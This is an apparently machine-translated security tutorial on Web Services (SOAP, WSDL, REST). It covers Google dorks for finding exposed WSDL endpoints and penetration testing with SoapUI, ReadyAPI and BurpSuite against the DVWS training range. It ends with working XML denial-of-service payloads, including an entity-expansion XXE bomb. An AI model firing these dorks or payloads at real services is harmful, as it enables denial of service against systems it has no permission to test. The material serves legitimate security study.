I. Web Service basics

Web Service description

Web Services are platform-independent, low-coupling, self-contained, programmable Web-based applications that can be described, published, discovered, coordinated, and configured using the open XML (a subset of the Standard Common Markup Language) standard for developing distributed, interactive applications.

Web Services technology enables different applications running on different machines to exchange data or integrate with each other without the need for additional, specialized third-party software or hardware. Applications implemented according to the Web Service specification can exchange data with each other, regardless of the language, platform, or internal protocol they use. Web Services are self-describing and self-contained network modules that can perform specific Service functions. Web Services are also easy to deploy because they are based on common industry standards as well as existing technologies such as XML, a subset of standard Common Markup Language, and HTTP. Web Services reduce the cost of applying interfaces. Web Services provide a common mechanism for the integration of business processes across an enterprise or even across multiple organizations.

The essence of a Web Service is to invoke resources from other websites over the network. The basic idea of the Web Services architecture is to try to delegate non-core functionality to others and develop the core functionality yourself.

To put it more simply, Web Services are a remote invocation technology across programming languages and operating system platforms.

Web Service fundamentals

When a Web Service sends a request and receives a result over HTTP, the request content and the result content are encapsulated in XML format, and some HTTP headers are added to explain the content format of the HTTP message. These specific HTTP headers and XML content formats are specified by SOAP protocol.

The Web Service server first uses a WSDL file to describe what services it has to call. WSDL is like an specification that describes a Web Service and its methods, parameters, and return values. The WSDL file is stored on a Web server and can be accessed through a URL address. Before a client can invoke a Web Service, it needs to know the address of the WSDL file for the Service. A Web Service provider can expose its WSDL file address in two ways: 1. Register with a UDDI server so that it can be found by others; 2. Directly inform the caller on the client.

Web Services interact by encapsulating data in XML following the SOAP protocol, and then transmitting the data through HTTP.

【 Technical dry goods document 】

Web Service classification

Generally, Web services are divided into:

  • SOAP Web Service: A SOAP Web Service can communicate with the server using XML.
  • REST Web Services: REST Web Services allow you to communicate with the server using JSON format (or XML format). Similar to HTTP, this type of service supports GET, POST, PUT, and DELETE methods. No WSDL, no UDDI;

There are three elements of Web Service

The three elements of a Web Service include Simple Object Access (SOAP) Protocol), WSDL (WebServicesDescriptionLanguage), UDDI (UniversalDescriptionDiscovery andIntegration). SOAP describes the format of information transfer, WSDL describes how to access specific interfaces, and UDDI is used to manage, distribute, and query Web services.

Web Service-related technologies

SOAP

SOAP (Simple Object Access Protocol) is a Protocol specification for exchanging data. It is a lightweight, Simple, XML-based Protocol (a subset of standard General Markup Language) designed to exchange structured and solidified information on the WEB. SOAP is not a proprietary protocol for Web Services.

SOAP uses HTTP to send data in XML format, which can be simply interpreted as SOAP = HTTP +XML

The SOAP structure is shown below:

Includes the following elements:

  • Required Envelope element to identify this XML document as a SOAP message
  • An optional Header element that contains Header information
  • The required Body element, which contains all the call and response information
  • An optional Fault element that provides information about the error that occurred in processing this message

REST

Representational State Transfer (REST) is a software architecture style proposed by Dr. Roy Fielding in his doctoral thesis in 2000. It is a design and development method for network applications, which can reduce the complexity of development and improve the scalability of the system.

REST is a set of architectural constraints and principles. An application or design that satisfies these constraints and principles is RESTful. It is important to note that REST is a design style, not a standard. REST is generally based on existing widely popular protocols and standards using HTTP, URI, and XML (a subset of standard Common Markup Language) and HTML (an application of Standard Common Markup Language).

Among the three major Web service implementations, more and more Web services are being designed and implemented in the REST style, because reST-mode Web services are significantly more concise compared to the complex SOAP and XML-RPC. For example, Amazon.com offers a near-REST-style Web service for book lookup; The Web services provided by Yahoo are also RESTFUL.

WSDL

Web Services Description Language (WSDL) is used to describe the common interface of Web Services. This is an XML-based service description of how to communicate with and use Web services; That is, describe the protocols and information formats that need to be bound when interacting with the Web services listed in the catalog. Abstract language is usually used to describe the operations and information supported by the service, and then the actual network protocol and information format are bound to the service.

WSDL provides the basic definition of SOAP Web Service. Based on XML language, WSDL describes the basic elements of interaction with the Service, and describes the server interface, methods, parameters, and return values. WSDL is automatically generated when the Service is published successfully and does not need to be written. In a few cases, WSDL can also be used to describe RESTFUL Web services. SOAP is also based on XML (a subset of standard Common Markup Language) and XSD, XML is SOAP’s way of encoding data.

WADL

WADL (Web Application Description Language) is an XML vocabulary that can be processed by computer to express Web applications based on HTTP, such as RESTWeb services. WADL describes the resources provided by Web services and their relationships. WADL attempts to simplify the reuse of Web services based on the HTTP architecture. It is a platform, language-neutral, that attempts to promote application reuse beyond the basic use of a Web browser.

WADL was submitted to the World Wide Web Consortium by Sun Microsystems on August 31, 2009, but the consortium currently has no plans to standardize it and it is not widely supported. WADL is used to describe REST services according to the WSDL definition of the XML vocabulary for describing SOAP-based RPC-style services, which can also be used to describe RESTWeb services.

WADL is primarily used for REST basics.

Differences between WADL and WSDL:

  • WSDL is interface oriented description, WADL is resource oriented description;
  • WADL is http-based, WHILE WSDL 2.0 is interface independent;

UDDI

Universal Description Discovery and Integration (UDDI) is a technology used to describe, discover, and integrate Web Services. It is an important part of Web Service protocol stack. With UDDI, businesses can dynamically locate and consume Web services based on their own needs, or publish their Web services dynamically to a UDDI registry for other users to use.

UDDI is one of the core Web services standards. It uses THE Web Services Description Language (WSDL) to describe the use of Web services and their interfaces.

SOAP Web Service Service architecture

As shown in the figure, Web Service providers dynamically publish their Web services to a UDDI registry via SOAP, which are described in WSDL files. The Web Service consumer first requests the WSDL file to the UDDI registry via SOAP to parse the methods provided by the Service provider, and then establishes HTTP communication in XML format with the provider:

WSDL document structure

The WSDL document structure is as follows. Take the local WSDL document as an example:

Label Description:

  • Definitions: The root element of all WSDL documents is a definitions element;
  • Types: a container of data types that use schema to define tag structures for reference by message;
  • Message: Abstract typed definition of the data structure that communicates the message. Refer to tags defined in types;
  • Operation: An abstract description of the operations supported by the service. An operation describes a pair of request messages and response messages for an access point.
  • PortType: An abstract set of operations supported by an access entry point type, which can be supported by one or more service access points;
  • Binding: Binding of a specific protocol and data format specification for a specific port type.
  • Service: Collection of related service access points
  • Port: a single service access point defined as a combination of protocol/data format binding with a specific Web access address;

So how do we read WSDL files in general? WSDL documents are read from the bottom up.

The binding value of the port tag is the binding value of the service tag.

Use the Binding tag to get information about the specific protocol, and then look at the Binding type attribute:

The binding type attribute can be used to find the corresponding portType to obtain the actionable methods and parameters, return values, etc.

Using the message attribute of the operation tag under portType, we can look up message to obtain the specific data parameter:

Second, write Web Service program

Take a quick look at how to write Web services in each language.

Java version

Write the interface class ICalculator, which declares two methods. Note that the interface is qualified with @webService:

Write the interface implementation class CalculatorImpl, which overwrites two methods to specify the endpoint interface as com.mi1k7Ea.icalCulator and the service name as Calcutator in the @webService modifier:

package com.mi1k7ea;
import javax.jws.WebService;
@WebService(endpointInterface = "com.mi1k7ea.ICalculator", serviceName = "Calcutator")public class CalculatorImpl implements ICalculator {    @Override    public int add(int a, int b) {        return a + b;    }
    @Override    public String concat(String a, String b) {        return a + b;    }}
Copy the code

Publish () to publish the Web Service at the specified address:

import com.mi1k7ea.CalculatorImpl; import javax.xml.ws.Endpoint; public class WebService { public static void main(String[] args) { System.out.println("[*]Start Web Service..." ); CalculatorImpl calculator = new CalculatorImpl(); String address = "http://127.0.0.1:8081/calculator"; Endpoint.publish(address, calculator); System.out.println("[*]Web Service is working..." ); }}Copy the code

Run the service to access:

Search for Web services

Google Hack

filetype:asmx inurl:(_vti_bin | api | webservice | ws )allinurl:dll? wsdl filetype:dll inurl:jws? wsdlinurl:asmx? wsdlinurl:aspx? wsdlinurl:ascx? wsdlinurl:ashx? wsdlinurl:dll? wsdlinurl:exe? wsdlinurl:php? wsdlinurl:pl? wsdlinurl:? wsdlfiletype:jwsfiletype:asmxfiletype:ascxfiletype:aspxfiletype:ashxfiletype:dllfiletype:exefiletype:phpfiletype:plfilet ype:wsdlCopy the code

Filter the proxy traffic

Web Service requests can be filtered by filtering rules set in proxy tools such as BurpSuite. Such as “. DLL? WSDL, “”. Ashx? WSDL “, “the. Exe? WSDL, “”. PHP? WSDL “and so on.

4. Penetration testing for Web Services

Web Service services are just wrapped interfaces, and penetration testing for Web Service services is the same as penetration testing for regular apis, except that it can be aided by security tools, including, but not limited to, the following:

  • WebScarap
  • SoapUI
  • WCFStorm
  • SOA Cleaner
  • WSDigger
  • wsScanner
  • Wfuzz
  • RESTClient
  • BurpSuite
  • WS-Attacker
  • ZAP
  • Metasploit
  • WSDL Analyze

This article focuses on how to use BurpSuite and ReadAPI/SoapUI tools to penetrate Web Service services.

ReadyAPI+BurpSuite

The Web is all about penetration testing Web services using SoapUI NG Pro+BurpSuite, but now the download of SoapUI NG Pro trial version has been renamed ReadyAPI.

Download address: smartbear.com/product/rea…

The whole process is shown as follows:

In fact, SoapUI NG Pro acts as a test tool for the Web Service, and Burp acts as a proxy to listen to the traffic packets sent by the Web Service with the payload constructed by SoapUI NG Pro. The Burp can tamper with the packet parameters for penetration test.

The ReadyAPI is used locally here.

Set the Burp Proxy server address in File->Preferences->Proxy:

Then create a new security test task and select the WSDL-related API module definition:

Fill in the WSDL address of the target Web Service, using the previous Demo as an example:

Click Next. When the WSDL has been resolved, a series of security test cases are automatically generated, selected by default. Click Finish and run the test cases:

After scanning, a scanning summary report will be provided, as well as a detailed PDF report for reference:

At this point, a large number of messages of ReadAPI security test cases have been monitored in Burp. You only need to put the corresponding message into Repeater to modify the parameter value to continue the penetration test or send it to Intruder for Fuzzing:

The next step is penetration testing for common API interfaces, and the formula is the same.

SoapUI+BurpSuite

If SoapUI does not have the security test case scanning function, it can also be used to generate packets in the corresponding format to the Burp for manual penetration testing.

In SoapUI Pro, the previous setup is the same as ReadyAPI, but without the security test case scanning function.

Set the Burp proxy, create a SOAP project, and fill in the WSDL address. After parsing, all Web Service services and methods on the left side of the figure below will be displayed. You can fill in parameter values to send corresponding request messages and obtain the results and display them in the interface:

Here Burp listens to the message and only needs to modify the parameter value without constructing the XML format:

The next step is penetration testing for common API interfaces, and the formula is the same.

BurpSuite plugin for Wslder

Wslder is a BurpSuite that can be downloaded and installed directly in Extender’s BApp Store. Although simpler than the previous method, sometimes there are problems with the generated request and the packet cannot be successfully sent, so you need to use the previous method.

Once installed, right-click Parse WSDL in Requests to use it directly:

After the WSDL is parsed, you can see the parsed Web Service and method as well as the corresponding request parameter samples in the Wsdler column. You can directly modify the corresponding parameter values to conduct penetration test:

Web Service Vulnerability cases

There is no difference between SOAP Web Service vulnerability and Web vulnerability, but the payload structure of the request needs to meet some format requirements. It depends on how the server code of the Web Service is written. Such as command injection, SQL injection, XSS, XXE, XPath injection, DoS, logic vulnerability, information leakage… And so on.

This paper takes DVWS shooting range as an example to demonstrate the exploit of several SOAP type Web Service requests.

Private reply “data” zero

More than 200 e-books of network security series

2. Network security standard question bank data

3. Project source code

4. Teaching videos of basic introduction to network security, Linux, Web security, attack and defense

5. Network security learning route outline structure diagram

XSS

In SOAP request exchange attacks, Angle brackets of XSS payload must be encoded with HTML. Otherwise, SOAP tag parsing errors will occur.

In addition, normal Web Service Service sites also support the upload of XML files, so you can use XHTML to trigger XML XSS:

XXE

Exp XML = XXE; exp XML = XXE;

Enumeration of any user

It’s just a regular API logic bug that uses the response result binary to infer:

Express-fileupload prototype chain contamination attack

Interestingly, there is a express-Fileupload < 1.1.10 prototype chain contamination vulnerability that can cause DoS (and in some cases arbitrary code execution) :

DoS

Much of the interaction of Web Services is with DATA in XML format. The XML data in the request is parsed and processed by the XML parser on the server side.

There are two main types of XML parsers:

  • XML parser based on SAX (Simple API for XML) : Up to 2 elements in memory. In this case, A SAX-based parser does not have a DoS problem;
  • XML parser based on DOM (Document Object Model) : It will read all XML data stored by the client at one time, so there will be a huge amount of Object data in memory, leading to DoS problems. The root of the vulnerability is not checking the size and number of nodes in XML;

Examples of DoS attacks on element names:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <TEST> The < BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...... BGABGABGABGABGABGABGABGABGABGA> </TEST> </soapenv:Body> </soapenv:Envelope>Copy the code

Examples of DoS attacks on element attributes:

<soapenv:Envelope xmlns:soapenv=" <soapenv:Header/> <soapenv:Body> <TEST> <BGA Attribute = "BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...... BGABGABGABGABGABGABGABGABGABGA "> < / BGA > < / TEST > < / soapenv: Body > < / soapenv: Envelope >Copy the code

Example of a DoS attack on a number of elements (the same effect can be achieved by repeating a particular element) :

<soapenv:Envelope xmlns:soapenv=" <soapenv:Header/> <soapenv:Body> <TEST> <BGA Attribute1 = "BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA... BGABGABGABGABGABGABGABGABGABGA BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA attribute2 = "..." BGABGABGABGABGABGABGABGABGABGA BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA attribute3 = "..." BGABGABGABGABGABGABGABGABGABGA "> < / BGA > < / TEST > < / soapenv: Body > < / soapenv: Envelope >Copy the code

Of course, XXE DoS attacks can be carried out when XXE exists:

<? The XML version = "1.0" encoding = "ISO - 8859-1"? > <! DOCTYPE bga [ <!ELEMENT ANY ><!ENTITY bga1 "bga1"> <!ENTITY bga2 "&bga1;&bga1;&bga1;&bga1;&bga1;&bga1;"> <! ENTITY bga3 "&bga2;&bga2;&bga2;&bga2;&bga2;&bga2;"> <!ENTITY bga4 "&bga3;&bga3;&bga3;&bga3;&bga3;&bga3;"> <! ENTITY bga5 "&bga4;&bga4;&bga4;&bga4;&bga4;&bga4;"> <!ENTITY bga6 "&bga5;&bga5;&bga5;&bga5;&bga5;&bga5;"> ]> <bga>&bga6; </bga>Copy the code